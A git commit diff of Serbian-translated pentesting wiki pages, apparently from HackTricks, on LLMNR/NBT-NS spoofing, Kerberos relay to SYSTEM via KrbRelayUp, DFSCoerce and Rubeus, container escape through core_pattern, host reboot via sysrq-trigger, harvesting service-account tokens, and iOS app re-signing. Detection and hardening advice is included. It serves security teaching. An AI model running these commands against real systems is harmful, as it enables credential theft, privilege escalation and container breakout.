Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-05-11 15:14:41 +00:00
parent c71f96bc49
commit 7b345c93e6
5 changed files with 261 additions and 67 deletions

View File

@ -316,6 +316,7 @@
- [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
- [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
- [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
- [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
- [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
- [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
- [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
- [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
- [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
- [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
- [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
- [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
- [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
- [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)

View File

@ -1,4 +1,4 @@
# Spoofing LLMNR, NBT-NS, mDNS/DNS i WPAD i Relay napadi
# Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
{{#include ../../banners/hacktricks-training.md}}
@ -7,9 +7,9 @@
### Protokoli za lokalno rešavanje hostova
- **LLMNR, NBT-NS i mDNS**:
- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično, Apple i Linux sistemi koriste mDNS.
- Microsoft i drugi operativni sistemi koriste LLMNR i NBT-NS za lokalno rešavanje imena kada DNS zakaže. Slično tome, Apple i Linux sistemi koriste mDNS.
- Ovi protokoli su podložni presretanju i spoofingu zbog svoje neautentifikovane, broadcast prirode preko UDP-a.
- [Responder](https://github.com/lgandx/Responder) se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji upituju ove protokole.
- [Responder](https://github.com/lgandx/Responder) se može koristiti za impersonaciju usluga slanjem lažnih odgovora hostovima koji postavljaju upite ovim protokolima.
- Dodatne informacije o impersonaciji usluga koristeći Responder mogu se naći [ovde](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
### Protokol za automatsko otkrivanje web proxy-a (WPAD)
@ -31,26 +31,26 @@
- Da biste pokrenuli Responder sa podrazumevanim postavkama: `responder -I <Interface>`
- Za agresivnije ispitivanje (sa potencijalnim nuspojavama): `responder -I <Interface> -P -r -v`
- Tehnike za hvatanje NTLMv1 izazova/odgovora radi lakšeg krakenja: `responder -I <Interface> --lm --disable-ess`
- WPAD impersonacija može se aktivirati sa: `responder -I <Interface> --wpad`
- Impersonacija WPAD-a može se aktivirati sa: `responder -I <Interface> --wpad`
- NetBIOS zahtevi mogu se rešiti na IP napadača, a može se postaviti i proxy za autentifikaciju: `responder.py -I <interface> -Pv`
### DHCP trovanje sa Responder-om
- Spoofing DHCP odgovora može trajno otrovati rutiranje informacija žrtve, nudeći diskretniju alternativu ARP trovanju.
- Spoofing DHCP odgovora može trajno otrovati rutiranje informacije žrtve, nudeći diskretniju alternativu ARP trovanju.
- Zahteva precizno poznavanje konfiguracije ciljne mreže.
- Pokretanje napada: `./Responder.py -I eth0 -Pdv`
- Ova metoda može efikasno uhvatiti NTLMv1/2 hešove, ali zahteva pažljivo rukovanje kako bi se izbeglo ometanje mreže.
### Hvatanje kredencijala sa Responder-om
- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 Challenge/Response) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga.
- Mogu se pokušati da se pređe na NetNTLMv1 ili onemogući ESS za lakše krakenje kredencijala.
- Responder će impersonirati usluge koristeći gore pomenute protokole, hvatajući kredencijale (obično NTLMv2 izazov/odgovor) kada korisnik pokuša da se autentifikuje protiv spoofovanih usluga.
- Mogu se pokušati pokušaji da se pređe na NetNTLMv1 ili da se onemogući ESS radi lakšeg krakenja kredencijala.
Važno je napomenuti da se korišćenje ovih tehnika mora vršiti legalno i etički, osiguravajući odgovarajuću autorizaciju i izbegavajući ometanje ili neovlašćen pristup.
## Inveigh
Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i man-in-the-middle napade. Alat se razvio iz PowerShell skripte u C# binarni, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh je alat za penetracione testere i red timere, dizajniran za Windows sisteme. Nudi funkcionalnosti slične Responder-u, obavljajući spoofing i napade "man-in-the-middle". Alat se razvio iz PowerShell skripte u C# binarni, sa [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) i [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) kao glavnim verzijama. Detaljni parametri i uputstva mogu se naći u [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).
Inveigh se može koristiti kroz PowerShell:
```bash
@ -69,7 +69,7 @@ Ovaj napad koristi SMB autentifikacione sesije za pristup ciljnim mašinama, omo
#### 445 Port Forwarding and Tunneling
U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je dostupan lokalni administratorski pristup za učitavanje drajvera.
U scenarijima gde direktno umrežavanje nije izvodljivo, saobraćaj na portu 445 treba preusmeriti i tunelovati. Alati poput [**PortBender**](https://github.com/praetorian-inc/PortBender) pomažu u preusmeravanju saobraćaja sa porta 445 na drugi port, što je neophodno kada je lokalni administratorski pristup dostupan za učitavanje drajvera.
PortBender podešavanje i rad u Cobalt Strike:
```bash
@ -105,16 +105,119 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes
# Proxychains for routing traffic
```
Ovi alati i tehnike čine sveobuhvatan skup za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima.
Ovi alati i tehnike čine sveobuhvatan set za sprovođenje NTLM Relay napada u različitim mrežnim okruženjima.
### Prisiljavanje NTLM prijava
Na Windows-u **možete biti u mogućnosti da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama**. Pročitajte sledeću stranicu da biste saznali kako:
Na Windows-u **možda ćete moći da prisilite neke privilegovane naloge da se autentifikuju na proizvoljnim mašinama**. Pročitajte sledeću stranicu da biste saznali kako:
{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}
## Kerberos Relay napad
**Kerberos relay napad** krade **AP-REQ tiket** sa jedne usluge i ponovo ga koristi protiv druge usluge koja deli **isti ključ računa računara** (jer oba SPN-a sede na istom `$` računu mašine). Ovo funkcioniše iako se **klase usluga SPN-a razlikuju** (npr. `CIFS/``LDAP/`) jer je *ključ* koji dekriptuje tiket NT hash mašine, a ne sam SPN string i SPN string nije deo potpisa.
Za razliku od NTLM relay, skakanje je ograničeno na *istu host* ali, ako ciljate protokol koji vam omogućava da pišete u LDAP, možete se povezati u **Resource-Based Constrained Delegation (RBCD)** ili **AD CS upis** i pop **NT AUTHORITY\SYSTEM** u jednom potezu.
Za detaljne informacije o ovom napadu proverite:
- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
- 1. **Osnovi Kerberosa**
| Token | Svrha | Relevancija za relay |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Dokazuje korisnika KDC-u | netaknuto |
| **Servisni tiket / TGS-REQ ↔ REP** | Povezan sa jednim **SPN**; enkriptovan ključem vlasnika SPN-a | zamenljivi ako SPN-ovi dele račun |
| **AP-REQ** | Klijent šalje `TGS` usluzi | **ono što krademo i ponovo koristimo** |
* Tiketi su enkriptovani sa **ključem izvedenim iz lozinke računa koji poseduje SPN**.
* **Authenticator** unutar AP-REQ ima vremensku oznaku od 5 minuta; ponovna upotreba unutar tog prozora je validna dok keš usluge ne vidi duplikat.
* Windows retko proverava da li se SPN string u tiketu poklapa sa uslugom koju pogodite, tako da tiket za `CIFS/HOST` obično dobro dekriptuje na `LDAP/HOST`.
- 2. **Šta mora biti tačno da bi se relayed Kerberos**
1. **Zajednički ključ:** izvorni i ciljni SPN-ovi pripadaju istom računu računara (podrazumevano na Windows serverima).
2. **Bez zaštite kanala:** SMB/LDAP potpis isključen i EPA isključen za HTTP/LDAPS.
3. **Možete presresti ili primorati autentifikaciju:** LLMNR/NBNS otrov, DNS spoof, **PetitPotam / DFSCoerce RPC**, lažni AuthIP, rogue DCOM, itd.
4. **Izvor tiketa nije već korišćen:** pobedite u trci pre nego što pravi paket stigne ili ga potpuno blokirajte; inače keš ponovne upotrebe servera aktivira Događaj 4649.
5. Na neki način morate biti u mogućnosti da izvršite **MitM u komunikaciji**, možda kao deo grupe DNSAmins da biste izmenili DNS domena ili da biste mogli da promenite HOST datoteku žrtve.
### Koraci Kerberos Relay
- 3.1 **Recon host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Pokrenite relays slušalac**
[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` obavija **KrbRelay → LDAP → RBCD → Rubeus → SCM bypass** u jednoj binarnoj datoteci.
- 3.3 **Prisiliti Kerberos autentifikaciju**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce čini da DC pošalje Kerberos `CIFS/DC01` tiket nama.
- 3.4 **Preusmeri AP-REQ**
KrbRelay izvlači GSS blob iz SMB, ponovo ga pakuje u LDAP bind i prosleđuje ga `ldap://DC01`—autentifikacija uspeva jer **isti ključ** dešifruje.
- 3.5 **Zloupotreba LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
Sada posedujete **NT AUTHORITY\SYSTEM**.
### **Još puteva koje vredi znati**
| Vektor | Trik | Zašto je to važno |
|--------|-------|----------------|
| **AuthIP / IPSec** | Lažni server šalje **GSS-ID payload** sa bilo kojim SPN; klijent gradi AP-REQ direktno ka vama | Radi čak i preko podmreža; mašinske kredencijale po defaultu |
| **DCOM / MSRPC** | Zlonamerna OXID rezolucija prisiljava klijenta da se autentifikuje na proizvoljni SPN i port | Čista *lokalna* privilegija-eskalacija; zaobilazi firewall |
| **AD CS Web Enroll** | Preusmerite mašinski tiket na `HTTP/CA` i dobijte sertifikat, zatim **PKINIT** za kreiranje TGT-ova | Zaobilazi LDAP potpisne odbrane |
| **Shadow Credentials** | Napišite `msDS-KeyCredentialLink`, zatim PKINIT sa lažnim parom ključeva | Nema potrebe za dodavanjem računa računara |
### **Rešavanje problema**
| Greška | Značenje | Rešenje |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Ključ tiketa ≠ ključ cilja | Pogrešan host/SPN |
| `KRB_AP_ERR_SKEW` | Sat > 5 min razlike | Sinhronizujte vreme ili koristite `w32tm` |
| LDAP vezivanje ne uspeva | Potpisivanje je primenjeno | Koristite AD CS putanju ili onemogućite potpisivanje |
| Spam događaja 4649 | Usluga je videla duplikat autentifikatora | blokirajte ili trkajte originalni paket |
### **Detekcija**
* Porast u **Događaju 4769** za `CIFS/`, `HTTP/`, `LDAP/` iz istog izvora u roku od nekoliko sekundi.
* **Događaj 4649** na usluzi ukazuje na detektovanu reprodukciju.
* Kerberos prijava sa **127.0.0.1** (preusmeravanje na lokalni SCM) je veoma sumnjiva—mapirajte putem Sigma pravila u KrbRelayUp dokumentima.
* Pratite promene na atributima `msDS-AllowedToActOnBehalfOfOtherIdentity` ili `msDS-KeyCredentialLink`.
## **Ojačavanje**
1. **Primorajte LDAP & SMB potpisivanje + EPA** na svakom serveru.
2. **Podelite SPN-ove** tako da HTTP nije na istom računu kao CIFS/LDAP.
3. Zakrpite vektore prinude (PetitPotam KB5005413, DFS, AuthIP).
4. Postavite **`ms-DS-MachineAccountQuota = 0`** da zaustavite neovlašćena pridruživanja računara.
5. Upozorite na **Događaj 4649** i neočekivane loopback Kerberos prijave.
## Reference
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)

View File

@ -15,50 +15,62 @@ Ovaj direktorijum omogućava pristup za modifikaciju kernel varijabli, obično p
#### **`/proc/sys/kernel/core_pattern`**
- Opisano u [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Omogućava definisanje programa koji će se izvršiti prilikom generisanja core datoteke sa prvih 128 bajtova kao argumentima. Ovo može dovesti do izvršavanja koda ako datoteka počinje sa cevom `|`.
- **Primer testiranja i eksploatacije**:
- Ako možete da pišete unutar ove datoteke, moguće je napisati cevi `|` praćene putanjom do programa ili skripte koja će biti izvršena nakon što dođe do kvara.
- Napadač može pronaći putanju unutar hosta do svog kontejnera izvršavajući `mount` i napisati putanju do binarne datoteke unutar svog kontejnerskog datotečnog sistema. Zatim, izazvati kvar programa kako bi naterao kernel da izvrši binarnu datoteku van kontejnera.
- **Primer testiranja i eksploatacije**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
Proverite [ovaj post](https://pwning.systems/posts/escaping-containers-for-fun/) za više informacija.
Primer programa koji se ruši:
```c
int main(void) {
char buf[1];
for (int i = 0; i < 100; i++) {
buf[i] = 1;
}
return 0;
}
```
#### **`/proc/sys/kernel/modprobe`**
- Detaljno opisano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Detaljno u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Sadrži putanju do učitača kernel modula, koji se poziva za učitavanje kernel modula.
- **Primer provere pristupa**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
ls -l $(cat /proc/sys/kernel/modprobe) # Proveri pristup modprobe
```
#### **`/proc/sys/vm/panic_on_oom`**
- Pomenuto u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Referencirano u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Globalna zastavica koja kontroliše da li kernel panici ili poziva OOM killer kada dođe do OOM uslova.
#### **`/proc/sys/fs`**
- Prema [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), sadrži opcije i informacije o datotečnom sistemu.
- Pristup za pisanje može omogućiti različite napade uskraćivanja usluge protiv hosta.
- Pristup za pisanje može omogućiti razne napade uskraćivanja usluge protiv hosta.
#### **`/proc/sys/fs/binfmt_misc`**
- Omogućava registraciju interpretatora za nenativne binarne formate na osnovu njihovog magičnog broja.
- Omogućava registraciju interpretera za nenativne binarne formate na osnovu njihovog magičnog broja.
- Može dovesti do eskalacije privilegija ili pristupa root shell-u ako je `/proc/sys/fs/binfmt_misc/register` zapisiv.
- Relevantna eksploatacija i objašnjenje:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Detaljan tutorijal: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
### Ostalo u `/proc`
#### **`/proc/config.gz`**
- Može otkriti konfiguraciju kernela ako je `CONFIG_IKCONFIG_PROC` omogućeno.
- Korisno za napadače da identifikuju ranjivosti u pokrenutom kernelu.
- Korisno za napadače da identifikuju ranjivosti u aktivnom kernelu.
#### **`/proc/sysrq-trigger`**
@ -66,19 +78,19 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
- **Primer restartovanja hosta**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
echo b > /proc/sysrq-trigger # Restartuje host
```
#### **`/proc/kmsg`**
- Izlaže poruke iz kernel ring bafera.
- Može pomoći u kernel eksploatacijama, curenjima adresa i pružiti osetljive sistemske informacije.
- Može pomoći u kernel eksploatacijama, curenjima adresa i pružiti osetljive informacije o sistemu.
#### **`/proc/kallsyms`**
- Lista kernel izvezene simbole i njihove adrese.
- Lista kernel eksportovane simbole i njihove adrese.
- Osnovno za razvoj kernel eksploatacija, posebno za prevazilaženje KASLR-a.
- Informacije o adresama su ograničene sa `kptr_restrict` postavljenim na `1` ili `2`.
- Informacije o adresama su ograničene kada je `kptr_restrict` postavljen na `1` ili `2`.
- Detalji u [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
#### **`/proc/[pid]/mem`**
@ -111,10 +123,10 @@ echo b > /proc/sysrq-trigger # Reboots the host
#### **`/proc/[pid]/mountinfo`**
- Pruža informacije o tačkama montiranja u prostoru imena montiranja procesa.
- Izlaže lokaciju kontejnera `rootfs` ili slike.
- Pruža informacije o tačkama montiranja u namespace-u montiranja procesa.
- Izlaže lokaciju kontejnerskog `rootfs` ili slike.
### `/sys` Vulnerabilities
### `/sys` Ranjivosti
#### **`/sys/kernel/uevent_helper`**
@ -148,7 +160,7 @@ cat /output %%%
#### **`/sys/kernel/vmcoreinfo`**
- Curi kernel adrese, potencijalno ugrožavajući KASLR.
- Curi adrese kernela, potencijalno kompromitujući KASLR.
#### **`/sys/kernel/security`**
@ -158,20 +170,20 @@ cat /output %%%
#### **`/sys/firmware/efi/vars` i `/sys/firmware/efi/efivars`**
- Izlaže interfejse za interakciju sa EFI varijablama u NVRAM-u.
- Pogrešna konfiguracija ili eksploatacija može dovesti do "brickovanja" laptopova ili nebootabilnih host mašina.
- Pogrešna konfiguracija ili eksploatacija može dovesti do "brick"-ovanih laptopova ili nebootabilnih host mašina.
#### **`/sys/kernel/debug`**
- `debugfs` nudi "bez pravila" debagiranje interfejsa za kernel.
- Istorija bezbednosnih problema zbog svoje neograničene prirode.
- `debugfs` nudi "bez pravila" interfejs za debagovanje kernela.
- Istorija sigurnosnih problema zbog svoje neograničene prirode.
### `/var` Vulnerabilities
### `/var` Ranjivosti
Hostova **/var** fascikla sadrži sokete kontejnerskog runtime-a i datotečne sisteme kontejnera. Ako je ova fascikla montirana unutar kontejnera, taj kontejner će dobiti pristup za čitanje i pisanje drugim datotečnim sistemima kontejnera sa root privilegijama. Ovo se može zloupotrebiti za prebacivanje između kontejnera, izazivanje uskraćivanja usluge ili postavljanje backdoora u druge kontejnere i aplikacije koje se u njima izvršavaju.
Hostova **/var** fascikla sadrži socket-e kontejnerskog runtime-a i datotečne sisteme kontejnera. Ako je ova fascikla montirana unutar kontejnera, taj kontejner će dobiti pristup za čitanje i pisanje do datotečnih sistema drugih kontejnera sa root privilegijama. Ovo se može zloupotrebiti za prebacivanje između kontejnera, uzrokovanje uskraćivanja usluge ili postavljanje backdoor-a u druge kontejnere i aplikacije koje se u njima izvršavaju.
#### Kubernetes
Ako je ovakav kontejner raspoređen sa Kubernetes:
Ako je kontejner poput ovog raspoređen sa Kubernetes:
```yaml
apiVersion: v1
kind: Pod
@ -224,7 +236,7 @@ Takođe možete zameniti konfiguracione datoteke, binarne datoteke, servise, dat
##### Pristup cloud kredencijalima
Kontejner može čitati K8s serviceaccount tokene ili AWS webidentity tokene što omogućava kontejneru da dobije neovlašćen pristup K8s ili cloudu:
Kontejner može čitati K8s serviceaccount tokene ili AWS webidentity tokene što omogućava kontejneru da dobije neovlašćen pristup K8s ili cloud:
```bash
/ # find /host-var/ -type f -iname '*token*' 2>/dev/null | grep kubernetes.io
/host-var/lib/kubelet/pods/21411f19-934c-489e-aa2c-4906f278431e/volumes/kubernetes.io~projected/kube-api-access-64jw2/..2025_01_22_12_37_42.4197672587/token
@ -253,8 +265,8 @@ drwx--x--- 4 root root 4096 Jan 9 21:22 062f14e5adbedce75cea699828e22657c8044
```
#### Napomena
Stvarne putanje mogu se razlikovati u različitim postavkama, zbog čega je najbolje koristiti **find** komandu za
lociranje datoteka drugih kontejnera i SA / web identitet tokena
Stvarne putanje mogu se razlikovati u različitim postavkama, zbog čega je najbolje da koristite **find** komandu da
pronađete datoteke drugih kontejnera i SA / web identitet tokene.
### Reference

View File

@ -0,0 +1,73 @@
# iOS Pentesting without Jailbreak
{{#include ../../banners/hacktricks-training.md}}
## Glavna ideja
Aplikacije potpisane sa **entitlement `get_task_allow`** omogućavaju trećim aplikacijama da pokrenu funkciju nazvanu **`task_for_pid()`** sa ID-jem procesa inicijalne aplikacije kao argumentom kako bi dobile port zadatka (da bi mogle da ga kontrolišu i pristupe njegovoj memoriji).
Međutim, nije tako lako kao samo preuzeti IPA, ponovo ga potpisati sa entitlement-om i vratiti ga na svoj uređaj. To je zbog FairPlay zaštite. Kada se potpis aplikacije promeni, DRM (Digital Rights Management) ključ je **nevažeći i aplikacija neće raditi**.
Sa starim jailbroken uređajem, moguće je instalirati IPA, **dekriptovati ga koristeći svoj omiljeni alat** (kao što su Iridium ili frida-ios-dump), i preuzeti ga nazad sa uređaja. Ipak, ako je moguće, preporučuje se da jednostavno pitate klijenta za dekriptovani IPA.
## Dobijanje dekriptovanog IPA
### Preuzmite ga od Apple-a
1. Instalirajte aplikaciju koju želite da testirate na iPhone
2. Instalirajte i pokrenite [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) na svom macOS-u
3. Otvorite `Terminal` na svom Mac-u, i idite u `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. IPA će se kasnije pojaviti u ovoj fascikli.
4. Trebalo bi da vidite svoj iOS uređaj. Dvaput kliknite na njega, a zatim kliknite na Dodaj + → Aplikacije iz gornjeg menija.
5. Nakon što kliknete na Dodaj, Configurator će preuzeti IPA od Apple-a i pokušati da ga pošalje na vaš uređaj. Ako ste pratili moju preporuku ranije i već instalirali IPA, pojaviće se prozor koji vas pita da ponovo instalirate aplikaciju.
6. IPA bi trebala biti preuzeta unutar `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` odakle je možete uzeti.
Proverite [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) za detaljnije informacije o ovom procesu.
### Dekriptovanje aplikacije
Da bismo dekriptovali IPA, instaliraćemo ga. Međutim, ako imate stariji jailbroken iPhone, potencijalno njegova verzija neće biti podržana od strane aplikacije, jer obično aplikacije podržavaju samo najnovije verzije.
Dakle, da biste ga instalirali, jednostavno raspakujte IPA:
```bash
unzip redacted.ipa -d unzipped
```
Proverite `Info.plist` za minimalnu podržanu verziju i ako je vaš uređaj stariji od toga, promenite vrednost tako da bude podržana.
Ponovo zipujte IPA:
```bash
cd unzipped
zip -r ../no-min-version.ipa *
```
Zatim instalirajte IPA, na primer, sa:
```bash
ideviceinstaller -i no-min-version.ipa -w
```
Napomena da vam može biti potreban **AppSync Unified tweak** iz Cydie da biste sprečili bilo kakve `invalid signature` greške.
Kada se instalira, možete koristiti **Iridium tweak** iz Cydie kako biste dobili dekriptovani IPA.
### Patch entitlements & re-sign
Da biste ponovo potpisali aplikaciju sa `get-task-allow` entitlements, dostupno je nekoliko alata kao što su `app-signer`, `codesign` i `iResign`. `app-signer` ima vrlo korisnički prijateljski interfejs koji omogućava vrlo lako ponovo potpisivanje IPA datoteke tako što se navodi IPA za ponovo potpisivanje, da se **stavi `get-task-allow`** i sertifikat i profil za obezbeđenje koji će se koristiti.
Što se tiče sertifikata i profila za potpisivanje, Apple nudi **besplatne profile za potpisivanje developera** za sve naloge putem Xcode-a. Samo kreirajte aplikaciju i konfigurišite jedan. Zatim, konfigurišite **iPhone da veruje aplikacijama developera** tako što ćete otići na `Settings``Privacy & Security`, i kliknite na `Developer Mode`.
Sa ponovo potpisanim IPA, vreme je da ga instalirate na uređaj kako biste ga pentestirali:
```bash
ideviceinstaller -i resigned.ipa -w
```
### Hook
Možete lako povezati svoju aplikaciju koristeći uobičajene alate kao što su frida i objection:
```bash
objection -g [your app bundle ID] explore
```
## Reference
- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,12 +4,12 @@
## Apple Developer Program
**Provisioning identity** je skup javnih i privatnih ključeva koji su povezani sa Apple developer nalogom. Da biste **potpisali aplikacije**, potrebno je da platite **99$/godina** da biste se registrovali u **Apple Developer Program** kako biste dobili svoju provisioning identity. Bez toga nećete moći da pokrenete aplikacije iz izvornog koda na fizičkom uređaju. Druga opcija je korišćenje **jailbroken uređaja**.
**Provisioning identity** je skup javnih i privatnih ključeva koji su povezani sa Apple developerskim nalogom. Da biste **potpisali aplikacije**, potrebno je da platite **99$/god** da biste se registrovali u **Apple Developer Program** kako biste dobili svoju provisioning identity. Bez toga nećete moći da pokrenete aplikacije iz izvornog koda na fizičkom uređaju. Druga opcija je korišćenje **jailbroken uređaja**.
Počevši od Xcode 7.2, Apple je omogućio opciju za kreiranje **besplatnog iOS razvojnog provisioning profila** koji omogućava pisanje i testiranje vaše aplikacije na pravom iPhone-u. Idite na _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Dodajte novi Appli ID sa vašim podacima) --> _Kliknite na kreirani Apple ID_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
\_\_Zatim, da biste pokrenuli vašu aplikaciju na iPhone-u, prvo morate **navesti iPhone da veruje računaru.** Zatim, možete pokušati da **pokrenete aplikaciju na mobilnom iz Xcode-a,** ali će se pojaviti greška. Idite na _Settings_ --> _General_ --> _Profiles and Device Management_ --> Izaberite nepouzdani profil i kliknite na "**Trust**".
\_\_Zatim, da biste pokrenuli vašu aplikaciju na vašem iPhone-u, prvo morate **naznačiti iPhone da veruje računaru.** Zatim, možete pokušati da **pokrenete aplikaciju na mobilnom iz Xcode-a,** ali će se pojaviti greška. Idite na _Settings_ --> _General_ --> _Profiles and Device Management_ --> Izaberite nepouzdani profil i kliknite na "**Trust**".
Napomena da **aplikacije potpisane istim potpisnim sertifikatom mogu deliti resurse na siguran način, kao što su stavke iz keychain-a**.
Napomena da **aplikacije potpisane istim potpisnim sertifikatom mogu deliti resurse na siguran način, kao što su stavke u keychain-u**.
Provisioning profili se čuvaju unutar telefona u **`/Library/MobileDevice/ProvisioningProfiles`**
@ -24,7 +24,7 @@ Prva stvar koju treba da znate je da je **izvođenje pentesta unutar simulatora
Svi alati potrebni za izgradnju i podršku iOS aplikaciji su **samo zvanično podržani na Mac OS**.\
Apple-ov de facto alat za kreiranje/debugovanje/instrumentaciju iOS aplikacija je **Xcode**. Može se koristiti za preuzimanje drugih komponenti kao što su **simulatori** i različite **SDK** **verzije** potrebne za izgradnju i **testiranje** vaše aplikacije.\
Preporučuje se da **preuzmete** Xcode iz **zvanične prodavnice aplikacija**. Druge verzije mogu sadržati malware.
Preporučuje se da **preuzmete** Xcode iz **zvanične prodavnice aplikacija**. Druge verzije mogu sadržati malver.
Datoteke simulatora se mogu naći u `/Users/<username>/Library/Developer/CoreSimulator/Devices`
@ -50,11 +50,15 @@ I u ovoj fascikli možete **pronaći paket aplikacije.**
## Emulator
Corellium je jedini javno dostupni iOS emulator. To je preduzetničko SaaS rešenje sa modelom licence po korisniku i ne nudi probnu licencu.
Corellium je jedini javno dostupan iOS emulator. To je preduzetničko SaaS rešenje sa modelom licence po korisniku i ne nudi probnu licencu.
## Nema potrebe za Jailbreak-om
Pogledajte ovaj blog post o tome kako testirati iOS aplikaciju na **ne jailbroken uređaju**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
Pogledajte ovaj blog post o tome kako testirati iOS aplikaciju na **uređaju koji nije jailbreak-ovan**:
{{#ref}}
ios-pentesting-without-jailbreak.md
{{#endref}}
## Jailbreaking
@ -65,61 +69,61 @@ Apple strogo zahteva da kod koji se izvršava na iPhone-u mora biti **potpisan s
### Android Rooting vs. iOS Jailbreaking
